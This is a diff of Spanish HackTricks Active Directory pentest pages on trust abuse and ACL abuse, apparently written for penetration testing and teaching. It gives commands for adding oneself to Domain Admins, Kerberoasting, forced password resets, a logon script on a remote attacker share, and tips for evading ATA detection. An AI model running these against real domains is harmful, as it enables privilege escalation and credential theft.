Dominio (DC) dentro del bosque, con DCs escribibles manteniendo una copia escribible del NC de Configuración. Para explotar esto, uno debe tener **privilegios de SYSTEM en un DC**, preferiblemente un DC hijo. +Comprender cómo se puede explotar el Configuration Naming Context (NC) es crucial. El Configuration NC sirve como repositorio central para los datos de configuración a través de un bosque en entornos de Active Directory (AD). Estos datos se replican a cada Domain Controller (DC) dentro del bosque, y los DCs con permisos de escritura mantienen una copia escribible del Configuration NC. Para explotarlo, se deben tener **privilegios SYSTEM en un DC**, preferiblemente un DC del dominio hijo. -**Vincular GPO al sitio raíz de DC** +**Vincular GPO al sitio raíz del DC** -El contenedor de Sitios del NC de Configuración incluye información sobre todos los sitios de computadoras unidas al dominio dentro del bosque de AD. Al operar con privilegios de SYSTEM en cualquier DC, los atacantes pueden vincular GPOs a los sitios raíz de DC. Esta acción compromete potencialmente el dominio raíz al manipular políticas aplicadas a estos sitios. +El contenedor Sites del Configuration NC incluye información sobre los sitios de todos los equipos unidos al dominio dentro del bosque de AD. Al operar con privilegios SYSTEM en cualquier DC, los atacantes pueden vincular GPOs a los sitios raíz de los DC. Esta acción puede comprometer potencialmente el dominio raíz al manipular las políticas aplicadas a esos sitios. -Para información más detallada, se puede explorar la investigación sobre [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research). +For in-depth information, one might explore research on [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research). -**Comprometer cualquier gMSA en el bosque** +**Compromise any gMSA in the forest** -Un vector de ataque implica apuntar a gMSAs privilegiados dentro del dominio. La clave raíz de KDS, esencial para calcular las contraseñas de gMSAs, se almacena dentro del NC de Configuración. Con privilegios de SYSTEM en cualquier DC, es posible acceder a la clave raíz de KDS y calcular las contraseñas para cualquier gMSA en todo el bosque. +Un vector de ataque implica dirigirse a gMSAs privilegiadas dentro del dominio. La KDS Root key, esencial para calcular las contraseñas de las gMSAs, se almacena en el Configuration NC. Con privilegios SYSTEM en cualquier DC, es posible acceder a la KDS Root key y calcular las contraseñas de cualquier gMSA en todo el bosque. -El análisis detallado y la guía paso a paso se pueden encontrar en: +Detailed analysis and step-by-step guidance can be found in: {{#ref}} golden-dmsa-gmsa.md {{#endref}} -Ataque MSA delegado complementario (BadSuccessor – abusando de atributos de migración): +Complementary delegated MSA attack (BadSuccessor – abusing migration attributes): {{#ref}} badsuccessor-dmsa-migration-abuse.md {{#endref}} -Investigación externa adicional: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent). +Additional external research: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent). -**Ataque de cambio de esquema** +**Schema change attack** -Este método requiere paciencia, esperando la creación de nuevos objetos AD privilegiados. Con privilegios de SYSTEM, un atacante puede modificar el Esquema de AD para otorgar a cualquier usuario control total sobre todas las clases. Esto podría llevar a acceso no autorizado y control sobre objetos AD recién creados. +Este método requiere paciencia: esperar la creación de nuevos objetos privilegiados de AD. Con privilegios SYSTEM, un atacante puede modificar el AD Schema para otorgar a cualquier usuario control total sobre todas las clases. Esto podría derivar en acceso y control no autorizados sobre los objetos de AD recién creados. -Lectura adicional está disponible sobre [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent). +Further reading is available on [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent). -**De DA a EA con ADCS ESC5** +**From DA to EA with ADCS ESC5** -La vulnerabilidad ADCS ESC5 apunta al control sobre objetos de Infraestructura de Clave Pública (PKI) para crear una plantilla de certificado que permite la autenticación como cualquier usuario dentro del bosque. Dado que los objetos PKI residen en el NC de Configuración, comprometer un DC hijo escribible permite la ejecución de ataques ESC5. +La vulnerabilidad ADCS ESC5 apunta a obtener control sobre objetos de Public Key Infrastructure (PKI) para crear una plantilla de certificado que permita autenticarse como cualquier usuario dentro del bosque. Dado que los objetos PKI residen en el Configuration NC, comprometer un DC hijo escribible permite ejecutar ataques ESC5. -Más detalles sobre esto se pueden leer en [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). En escenarios que carecen de ADCS, el atacante tiene la capacidad de configurar los componentes necesarios, como se discute en [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/). +More details on this can be read in [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). In scenarios lacking ADCS, the attacker has the capability to set up the necessary components, as discussed in [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/). -### Dominio Externo del Bosque - Unidireccional (Entrante) o bidireccional +### External Forest Domain - One-Way (Inbound) or bidirectional ```bash Get-DomainTrust SourceName : a.domain.local --> Current domain @@ -670,13 +709,14 @@ TrustDirection : Inbound --> Inboud trust WhenCreated : 2/19/2021 10:50:56 PM WhenChanged : 2/19/2021 10:50:56 PM ``` -En este escenario, **tu dominio es confiable** por uno externo, lo que te otorga **permisos indeterminados** sobre él. Necesitarás encontrar **qué principales de tu dominio tienen qué acceso sobre el dominio externo** y luego intentar explotarlo: +En este escenario, un dominio externo confía en tu dominio, otorgándote **permisos indeterminados** sobre él. Necesitarás averiguar **qué principals de tu dominio tienen qué acceso sobre el dominio externo** y luego intentar explotarlo: + {{#ref}} external-forest-domain-oneway-inbound.md {{#endref}} -### Dominio de Bosque Externo - Unidireccional (Saliente) +### Dominio de bosque externo - Unidireccional (Saliente) ```bash Get-DomainTrust -Domain current.local @@ -688,70 +728,73 @@ TrustDirection : Outbound --> Outbound trust WhenCreated : 2/19/2021 10:15:24 PM WhenChanged : 2/19/2021 10:15:24 PM ``` -En este escenario, **tu dominio** está **confiando** algunos **privilegios** a un principal de **diferentes dominios**. +En este escenario **tu dominio** está **confiando** algunos **privilegios** a un principal de **dominios diferentes**. + +Sin embargo, cuando un **dominio es confiado** por el dominio que confía, el dominio confiado **crea un usuario** con un **nombre predecible** que usa como **contraseña la contraseña de confianza**. Esto significa que es posible **acceder a un usuario del dominio que confía para ingresar al dominio confiado** para enumerarlo e intentar escalar más privilegios: -Sin embargo, cuando un **dominio es confiado** por el dominio que confía, el dominio confiado **crea un usuario** con un **nombre predecible** que utiliza como **contraseña la contraseña confiada**. Lo que significa que es posible **acceder a un usuario del dominio que confía para entrar en el confiado** para enumerarlo y tratar de escalar más privilegios: {{#ref}} external-forest-domain-one-way-outbound.md {{#endref}} -Otra forma de comprometer el dominio confiado es encontrar un [**enlace SQL confiado**](abusing-ad-mssql.md#mssql-trusted-links) creado en la **dirección opuesta** de la confianza del dominio (lo cual no es muy común). +Otra forma de comprometer el dominio confiado es encontrar un [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) creado en la **dirección opuesta** de la confianza de dominio (lo cual no es muy común). + +Otra forma de comprometer el dominio confiado es esperar en una máquina a la que un **user from the trusted domain can access** pueda iniciar sesión vía **RDP**. Luego, el atacante podría inyectar código en el proceso de la sesión RDP y **acceder al dominio de origen de la víctima** desde allí.\ +Además, si la **víctima montó su disco duro**, desde el proceso de la **RDP session** el atacante podría almacenar **backdoors** en la **startup folder of the hard drive**. Esta técnica se llama **RDPInception.** -Otra forma de comprometer el dominio confiado es esperar en una máquina donde un **usuario del dominio confiado pueda acceder** para iniciar sesión a través de **RDP**. Luego, el atacante podría inyectar código en el proceso de sesión RDP y **acceder al dominio de origen de la víctima** desde allí.\ -Además, si la **víctima montó su disco duro**, desde el proceso de **sesión RDP** el atacante podría almacenar **backdoors** en la **carpeta de inicio del disco duro**. Esta técnica se llama **RDPInception.** {{#ref}} rdp-sessions-abuse.md {{#endref}} -### Mitigación del abuso de confianza de dominio +### Mitigación del abuso de confianza entre dominios -### **Filtrado de SID:** +### **SID Filtering:** -- El riesgo de ataques que aprovechan el atributo de historial de SID a través de las confianzas de bosque se mitiga mediante el Filtrado de SID, que está activado por defecto en todas las confianzas inter-forestales. Esto se basa en la suposición de que las confianzas intra-forestales son seguras, considerando el bosque, en lugar del dominio, como el límite de seguridad según la postura de Microsoft. -- Sin embargo, hay un inconveniente: el filtrado de SID podría interrumpir aplicaciones y el acceso de usuarios, lo que lleva a su desactivación ocasional. +- El riesgo de ataques que aprovechan el atributo SIDHistory a través de confianzas entre bosques se mitiga mediante SID Filtering, que está activado por defecto en todas las confianzas inter-bosque. Esto se sustenta en la suposición de que las confianzas intra-bosque son seguras, considerando el bosque, en lugar del dominio, como el límite de seguridad según la postura de Microsoft. +- Sin embargo, hay una pega: SID filtering podría interrumpir aplicaciones y el acceso de usuarios, lo que conduce a su desactivación ocasional. -### **Autenticación Selectiva:** +### **Selective Authentication:** -- Para las confianzas inter-forestales, emplear la Autenticación Selectiva asegura que los usuarios de los dos bosques no sean autenticados automáticamente. En su lugar, se requieren permisos explícitos para que los usuarios accedan a dominios y servidores dentro del dominio o bosque que confía. -- Es importante señalar que estas medidas no protegen contra la explotación del Contexto de Nombres de Configuración (NC) escribible o ataques a la cuenta de confianza. +- Para confianzas inter-bosque, emplear Selective Authentication asegura que los usuarios de los dos bosques no se autentiquen automáticamente. En su lugar, se requieren permisos explícitos para que los usuarios accedan a dominios y servidores dentro del dominio o bosque que confía. +- Es importante notar que estas medidas no protegen frente a la explotación del writable Configuration Naming Context (NC) ni frente a ataques contra la cuenta de confianza. -[**Más información sobre las confianzas de dominio en ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain) +[**More information about domain trusts in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain) ## AD -> Azure & Azure -> AD + {{#ref}} https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/index.html {{#endref}} -## Algunas Defensas Generales +## Algunas defensas generales -[**Aprende más sobre cómo proteger credenciales aquí.**](../stealing-credentials/credentials-protections.md) +[**Learn more about how to protect credentials here.**](../stealing-credentials/credentials-protections.md) -### **Medidas Defensivas para la Protección de Credenciales** +### **Medidas defensivas para la protección de credenciales** -- **Restricciones de Administradores de Dominio**: Se recomienda que los Administradores de Dominio solo puedan iniciar sesión en Controladores de Dominio, evitando su uso en otros hosts. -- **Privilegios de Cuentas de Servicio**: Los servicios no deben ejecutarse con privilegios de Administrador de Dominio (DA) para mantener la seguridad. -- **Limitación Temporal de Privilegios**: Para tareas que requieren privilegios de DA, su duración debe ser limitada. Esto se puede lograr mediante: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)` +- **Domain Admins Restrictions**: Se recomienda que Domain Admins solo puedan iniciar sesión en Domain Controllers, evitando su uso en otros hosts. +- **Service Account Privileges**: Los servicios no deberían ejecutarse con privilegios de Domain Admin (DA) para mantener la seguridad. +- **Temporal Privilege Limitation**: Para tareas que requieran privilegios DA, su duración debe limitarse. Esto se puede lograr con: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)` -### **Implementación de Técnicas de Engaño** +### **Implementar técnicas de decepción** -- Implementar el engaño implica establecer trampas, como usuarios o computadoras señuelo, con características como contraseñas que no expiran o están marcadas como Confiables para Delegación. Un enfoque detallado incluye crear usuarios con derechos específicos o agregarlos a grupos de alto privilegio. +- Implementar decepción implica colocar trampas, como usuarios o equipos señuelo, con características como contraseñas que no expiran o que están marcadas como Trusted for Delegation. Un enfoque detallado incluye crear usuarios con derechos específicos o añadirlos a grupos de alto privilegio. - Un ejemplo práctico implica usar herramientas como: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose` -- Más sobre la implementación de técnicas de engaño se puede encontrar en [Deploy-Deception en GitHub](https://github.com/samratashok/Deploy-Deception). +- Más sobre el despliegue de técnicas de decepción puede encontrarse en [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception). -### **Identificación de Engaño** +### **Identificando la decepción** -- **Para Objetos de Usuario**: Indicadores sospechosos incluyen ObjectSID atípico, inicios de sesión infrecuentes, fechas de creación y bajos conteos de contraseñas incorrectas. -- **Indicadores Generales**: Comparar atributos de objetos potencialmente señuelo con los de objetos genuinos puede revelar inconsistencias. Herramientas como [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) pueden ayudar a identificar tales engaños. +- **For User Objects**: Indicadores sospechosos incluyen ObjectSID atípico, inicios de sesión poco frecuentes, fechas de creación y bajos conteos de contraseñas incorrectas. +- **General Indicators**: Comparar atributos de posibles objetos señuelo con los de objetos genuinos puede revelar inconsistencias. Herramientas como [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) pueden ayudar a identificar tales engaños. -### **Evasión de Sistemas de Detección** +### **Evasión de sistemas de detección** -- **Evasión de Detección de Microsoft ATA**: -- **Enumeración de Usuarios**: Evitar la enumeración de sesiones en Controladores de Dominio para prevenir la detección de ATA. -- **Suplantación de Tickets**: Utilizar claves **aes** para la creación de tickets ayuda a evadir la detección al no degradar a NTLM. -- **Ataques DCSync**: Se aconseja ejecutar desde un controlador de dominio no para evitar la detección de ATA, ya que la ejecución directa desde un controlador de dominio activará alertas. +- **Microsoft ATA Detection Bypass**: +- **User Enumeration**: Evitar la enumeración de sesiones en Domain Controllers para prevenir la detección por ATA. +- **Ticket Impersonation**: Utilizar claves **aes** para la creación de tickets ayuda a evadir la detección al no degradar a NTLM. +- **DCSync Attacks**: Se recomienda ejecutar desde un equipo que no sea Domain Controller para evitar la detección por ATA, ya que la ejecución directa desde un Domain Controller generará alertas. ## Referencias diff --git a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md index ed78ab039..3da22774d 100644 --- a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md +++ b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md @@ -1,8 +1,8 @@ -# Abuso de ACLs/ACEs de Active Directory +# Abuso de Active Directory ACLs/ACEs {{#include ../../../banners/hacktricks-training.md}} -**Esta página es principalmente un resumen de las técnicas de** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **y** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Para más detalles, consulta los artículos originales.** +**Esta página es, en su mayoría, un resumen de las técnicas de** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **y** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Para más detalles, consulte los artículos originales.** ## BadSuccessor @@ -11,62 +11,70 @@ BadSuccessor.md {{#endref}} -## **Derechos GenericAll en Usuario** +## **GenericAll Derechos sobre el Usuario** -Este privilegio otorga a un atacante control total sobre una cuenta de usuario objetivo. Una vez que se confirman los derechos `GenericAll` utilizando el comando `Get-ObjectAcl`, un atacante puede: +Este privilegio le otorga a un atacante el control total sobre una cuenta de usuario objetivo. Una vez que los permisos `GenericAll` se confirman usando el comando `Get-ObjectAcl`, un atacante puede: -- **Cambiar la Contraseña del Objetivo**: Usando `net user /domain`, el atacante puede restablecer la contraseña del usuario. -- **Kerberoasting Dirigido**: Asignar un SPN a la cuenta del usuario para hacerla susceptible a kerberoasting, luego usar Rubeus y targetedKerberoast.py para extraer e intentar romper los hashes del ticket-granting ticket (TGT). +- **Cambiar la contraseña del objetivo**: Usando `net user /domain`, el atacante puede restablecer la contraseña del usuario. +- **Targeted Kerberoasting**: Asignar un SPN a la cuenta del usuario para hacerla kerberoastable, luego usar Rubeus y targetedKerberoast.py para extraer e intentar descifrar los hashes del ticket-granting ticket (TGT). ```bash Set-DomainObject -Credential $creds -Identity -Set @{serviceprincipalname="fake/NOTHING"} .\Rubeus.exe kerberoast /user: /nowrap Set-DomainObject -Credential $creds -Identity -Clear serviceprincipalname -Verbose ``` -- **Targeted ASREPRoasting**: Desactivar la pre-autenticación para el usuario, haciendo que su cuenta sea vulnerable a ASREPRoasting. +- **Targeted ASREPRoasting**: Deshabilitar la preautenticación para el usuario, haciendo que su cuenta sea vulnerable a ASREPRoasting. ```bash Set-DomainObject -Identity -XOR @{UserAccountControl=4194304} ``` -## **Derechos GenericAll en el Grupo** +## **Permisos GenericAll sobre el grupo** -Este privilegio permite a un atacante manipular las membresías de grupo si tiene derechos `GenericAll` en un grupo como `Domain Admins`. Después de identificar el nombre distinguido del grupo con `Get-NetGroup`, el atacante puede: +Este privilegio permite a un atacante manipular las membresías del grupo si tiene derechos `GenericAll` sobre un grupo como `Domain Admins`. Tras identificar el nombre distinguido del grupo con `Get-NetGroup`, el atacante puede: -- **Agregarse al Grupo de Administradores de Dominio**: Esto se puede hacer a través de comandos directos o utilizando módulos como Active Directory o PowerSploit. +- **Añadirse al grupo Domain Admins**: Esto se puede hacer mediante comandos directos o usando módulos como Active Directory o PowerSploit. ```bash net group "domain admins" spotless /add /domain Add-ADGroupMember -Identity "domain admins" -Members spotless Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local" ``` +- Desde Linux también puedes usar BloodyAD para añadirte a grupos arbitrarios cuando tienes GenericAll/Write membership sobre ellos. Si el grupo objetivo está anidado en “Remote Management Users”, obtendrás inmediatamente acceso WinRM en hosts que respeten ese grupo: +```bash +# Linux tooling example (BloodyAD) to add yourself to a target group +bloodyAD --host -d -u -p '' add groupMember "" + +# If the target group is member of "Remote Management Users", WinRM becomes available +netexec winrm -u -p '' +``` ## **GenericAll / GenericWrite / Write on Computer/User** -Tener estos privilegios en un objeto de computadora o una cuenta de usuario permite: +Tener estos privilegios en un objeto computer o en una cuenta de usuario permite: -- **Kerberos Resource-based Constrained Delegation**: Permite tomar el control de un objeto de computadora. -- **Shadow Credentials**: Utiliza esta técnica para suplantar una computadora o cuenta de usuario aprovechando los privilegios para crear credenciales en sombra. +- **Kerberos Resource-based Constrained Delegation**: Permite apoderarse de un objeto computer. +- **Shadow Credentials**: Usar esta técnica para suplantar a un computer o cuenta de usuario explotando los privilegios para crear Shadow Credentials. ## **WriteProperty on Group** -Si un usuario tiene derechos de `WriteProperty` en todos los objetos para un grupo específico (por ejemplo, `Domain Admins`), puede: +Si un usuario tiene `WriteProperty` rights on all objects for a specific group (p. ej., `Domain Admins`), puede: -- **Add Themselves to the Domain Admins Group**: Alcanzable mediante la combinación de los comandos `net user` y `Add-NetGroupUser`, este método permite la escalación de privilegios dentro del dominio. +- **Add Themselves to the Domain Admins Group**: Lograble combinando los comandos `net user` y `Add-NetGroupUser`, este método permite la escalada de privilegios dentro del dominio. ```bash net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain ``` -## **Auto (Auto-Membresía) en Grupo** +## **Self (Self-Membership) on Group -Este privilegio permite a los atacantes agregarse a grupos específicos, como `Domain Admins`, a través de comandos que manipulan directamente la membresía del grupo. Usar la siguiente secuencia de comandos permite la auto-adición: +Este privilegio permite a los atacantes agregarse a sí mismos a grupos específicos, como `Domain Admins`, mediante comandos que manipulan directamente la pertenencia al grupo. El uso de la siguiente secuencia de comandos permite la auto-adición: ```bash net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain ``` -## **WriteProperty (Auto-Membresía)** +## **WriteProperty (Self-Membership)** -Un privilegio similar, esto permite a los atacantes agregarse directamente a grupos modificando las propiedades del grupo si tienen el derecho de `WriteProperty` sobre esos grupos. La confirmación y ejecución de este privilegio se realizan con: +Un privilegio similar, esto permite a los atacantes agregarse directamente a grupos modificando las propiedades del grupo si tienen el derecho `WriteProperty` sobre esos grupos. La confirmación y ejecución de este privilegio se realizan con: ```bash Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"} net group "domain admins" spotless /add /domain ``` ## **ForceChangePassword** -Tener el `ExtendedRight` en un usuario para `User-Force-Change-Password` permite restablecer contraseñas sin conocer la contraseña actual. La verificación de este derecho y su explotación se puede realizar a través de PowerShell o herramientas de línea de comandos alternativas, ofreciendo varios métodos para restablecer la contraseña de un usuario, incluyendo sesiones interactivas y comandos de una sola línea para entornos no interactivos. Los comandos varían desde invocaciones simples de PowerShell hasta el uso de `rpcclient` en Linux, demostrando la versatilidad de los vectores de ataque. +Tener el `ExtendedRight` sobre un usuario para `User-Force-Change-Password` permite restablecer contraseñas sin conocer la contraseña actual. La verificación de este derecho y su explotación puede realizarse mediante PowerShell u otras herramientas de línea de comandos, ofreciendo varios métodos para restablecer la contraseña de un usuario, incluyendo sesiones interactivas y one-liners para entornos no interactivos. Los comandos van desde invocaciones sencillas de PowerShell hasta el uso de `rpcclient` en Linux, demostrando la versatilidad de los vectores de ataque. ```bash Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"} Set-DomainUserPassword -Identity delegate -Verbose @@ -79,7 +87,7 @@ rpcclient -U KnownUsername 10.10.10.192 ``` ## **WriteOwner en Grupo** -Si un atacante descubre que tiene derechos de `WriteOwner` sobre un grupo, puede cambiar la propiedad del grupo a sí mismo. Esto es particularmente impactante cuando el grupo en cuestión es `Domain Admins`, ya que cambiar la propiedad permite un control más amplio sobre los atributos y la membresía del grupo. El proceso implica identificar el objeto correcto a través de `Get-ObjectAcl` y luego usar `Set-DomainObjectOwner` para modificar el propietario, ya sea por SID o nombre. +Si un atacante descubre que tiene permisos `WriteOwner` sobre un grupo, puede cambiar la propiedad del grupo a sí mismo. Esto es especialmente significativo cuando el grupo en cuestión es `Domain Admins`, ya que cambiar la propiedad permite un control más amplio sobre los atributos del grupo y su membresía. El proceso implica identificar el objeto correcto mediante `Get-ObjectAcl` y luego usar `Set-DomainObjectOwner` para modificar el propietario, ya sea por SID o por nombre. ```bash Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"} Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose @@ -87,13 +95,13 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico ``` ## **GenericWrite en Usuario** -Este permiso permite a un atacante modificar las propiedades del usuario. Específicamente, con acceso `GenericWrite`, el atacante puede cambiar la ruta del script de inicio de sesión de un usuario para ejecutar un script malicioso al iniciar sesión el usuario. Esto se logra utilizando el comando `Set-ADObject` para actualizar la propiedad `scriptpath` del usuario objetivo para que apunte al script del atacante. +Este permiso permite a un atacante modificar las propiedades del usuario. Específicamente, con acceso `GenericWrite`, el atacante puede cambiar la ruta del script de inicio de sesión de un usuario para ejecutar un script malicioso al iniciar sesión. Esto se logra usando el comando `Set-ADObject` para actualizar la propiedad `scriptpath` del usuario objetivo para que apunte al script del atacante. ```bash Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1" ``` -## **GenericWrite en Grupo** +## **GenericWrite on Group** -Con este privilegio, los atacantes pueden manipular la membresía de grupos, como agregarse a sí mismos u otros usuarios a grupos específicos. Este proceso implica crear un objeto de credencial, usarlo para agregar o eliminar usuarios de un grupo y verificar los cambios de membresía con comandos de PowerShell. +Con este privilegio, los atacantes pueden manipular la pertenencia a grupos, como agregarse a sí mismos u a otros usuarios a grupos específicos. Este proceso implica crear un objeto de credencial, usarlo para agregar o quitar usuarios de un grupo y verificar los cambios de pertenencia con comandos de PowerShell. ```bash $pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd) @@ -103,7 +111,7 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use ``` ## **WriteDACL + WriteOwner** -Poseer un objeto de AD y tener privilegios de `WriteDACL` sobre él permite a un atacante otorgarse a sí mismo privilegios de `GenericAll` sobre el objeto. Esto se logra a través de la manipulación de ADSI, lo que permite el control total sobre el objeto y la capacidad de modificar sus membresías de grupo. A pesar de esto, existen limitaciones al intentar explotar estos privilegios utilizando los cmdlets `Set-Acl` / `Get-Acl` del módulo de Active Directory. +Poseer un objeto AD y tener privilegios `WriteDACL` sobre él permite a un atacante otorgarse a sí mismo privilegios `GenericAll` sobre el objeto. Esto se consigue mediante la manipulación de ADSI, lo que permite el control total del objeto y la capacidad de modificar su pertenencia a grupos. No obstante, existen limitaciones al intentar explotar estos privilegios usando los cmdlets `Set-Acl` / `Get-Acl` del módulo Active Directory. ```bash $ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local" $IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier]) @@ -111,64 +119,64 @@ $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityRe $ADSI.psbase.ObjectSecurity.SetAccessRule($ACE) $ADSI.psbase.commitchanges() ``` -## **Replicación en el Dominio (DCSync)** +## **Replicación en el dominio (DCSync)** -El ataque DCSync aprovecha permisos específicos de replicación en el dominio para imitar un Controlador de Dominio y sincronizar datos, incluyendo credenciales de usuario. Esta poderosa técnica requiere permisos como `DS-Replication-Get-Changes`, permitiendo a los atacantes extraer información sensible del entorno de AD sin acceso directo a un Controlador de Dominio. [**Aprende más sobre el ataque DCSync aquí.**](../dcsync.md) +El ataque DCSync aprovecha permisos de replicación específicos en el dominio para imitar a un Controlador de Dominio y sincronizar datos, incluidas las credenciales de usuario. Esta técnica poderosa requiere permisos como `DS-Replication-Get-Changes`, lo que permite a los atacantes extraer información sensible del entorno AD sin acceso directo a un Controlador de Dominio. [**Aprende más sobre el ataque DCSync aquí.**](../dcsync.md) ## Delegación de GPO ### Delegación de GPO -El acceso delegado para gestionar Objetos de Política de Grupo (GPO) puede presentar riesgos de seguridad significativos. Por ejemplo, si un usuario como `offense\spotless` tiene derechos de gestión de GPO delegados, puede tener privilegios como **WriteProperty**, **WriteDacl** y **WriteOwner**. Estos permisos pueden ser abusados con fines maliciosos, como se identifica usando PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}` +El acceso delegado para administrar Objetos de directiva de grupo (GPOs) puede presentar riesgos de seguridad significativos. Por ejemplo, si a un usuario como `offense\spotless` se le delegan derechos de gestión de GPO, podría tener privilegios como **WriteProperty**, **WriteDacl** y **WriteOwner**. Estos permisos pueden ser abusados con fines maliciosos, como se identifica usando PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}` -### Enumerar Permisos de GPO +### Enumerar permisos de GPO -Para identificar GPO mal configurados, se pueden encadenar los cmdlets de PowerSploit. Esto permite descubrir GPOs que un usuario específico tiene permisos para gestionar: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}` +Para identificar GPOs mal configurados, los cmdlets de PowerSploit pueden encadenarse. Esto permite descubrir GPOs que un usuario específico puede administrar: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}` -**Computadoras con una Política Dada Aplicada**: Es posible resolver qué computadoras se ven afectadas por un GPO específico, ayudando a entender el alcance del impacto potencial. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}` +**Equipos con una política aplicada**: Es posible resolver a qué equipos se aplica un GPO específico, lo que ayuda a entender el alcance del posible impacto. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}` -**Políticas Aplicadas a una Computadora Dada**: Para ver qué políticas se aplican a una computadora en particular, se pueden utilizar comandos como `Get-DomainGPO`. +**Políticas aplicadas a un equipo dado**: Para ver qué políticas se aplican a un equipo en particular, se pueden utilizar comandos como `Get-DomainGPO`. -**OUs con una Política Dada Aplicada**: Identificar unidades organizativas (OUs) afectadas por una política dada se puede hacer usando `Get-DomainOU`. +**OUs con una política aplicada**: Identificar unidades organizativas (OUs) afectadas por una política dada puede hacerse usando `Get-DomainOU`. -También puedes usar la herramienta [**GPOHound**](https://github.com/cogiceo/GPOHound) para enumerar GPOs y encontrar problemas en ellos. +También puedes usar la herramienta [**GPOHound**](https://github.com/cogiceo/GPOHound) para enumerar GPOs y encontrar problemas en ellas. -### Abuso de GPO - New-GPOImmediateTask +### Abusar de GPO - 